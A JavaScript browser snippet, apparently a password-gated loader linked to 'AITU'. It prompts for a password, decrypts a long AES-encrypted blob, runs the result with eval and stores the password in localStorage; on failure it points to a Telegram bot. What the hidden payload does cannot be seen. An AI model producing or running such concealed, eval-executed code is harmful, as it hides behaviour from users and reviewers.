(() => {
    if (window.aituInitiated !== undefined) return;

    window.aituInitiated = false;

    var password = localStorage.getItem("aituPassword");

    if (!password) {
        password = prompt("Enter password: ");
    }

    async function decrypt(encryptedText) {
        const encryptedDataWithIv = new Uint8Array(atob(encryptedText).split("").map(char => char.charCodeAt(0)));

        const iv = encryptedDataWithIv.slice(0, 16);
        const encryptedData = encryptedDataWithIv.slice(16);

        const encoder = new TextEncoder();

        const baseKey = await crypto.subtle.importKey(
            "raw",
            encoder.encode(password),
            { name: "PBKDF2" },
            false,
            ["deriveKey"]
        );

        const keyObj = await crypto.subtle.deriveKey(
            {
                name: "PBKDF2",
                salt: iv,
                iterations: 100000,
                hash: "SHA-256"
            },
            baseKey,
            { name: "AES-CBC", length: 256 },
            false,
            ["decrypt"]
        );

        const decryptedData = await crypto.subtle.decrypt(
            { name: "AES-CBC", iv: iv },
            keyObj,
            encryptedData
        );

        const decoder = new TextDecoder();

        return decoder.decode(decryptedData);
    };

    decrypt("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").then((decryptedCode) => {
        localStorage.setItem("aituPassword", password);
        eval("(" + decryptedCode.slice(0, decryptedCode.length - 1) + `)`)(password);
    }).catch((error) => {
        alert("Write to https://t.me/AITUCybersecBot");
        window.aituInitiated = undefined;
    })
})();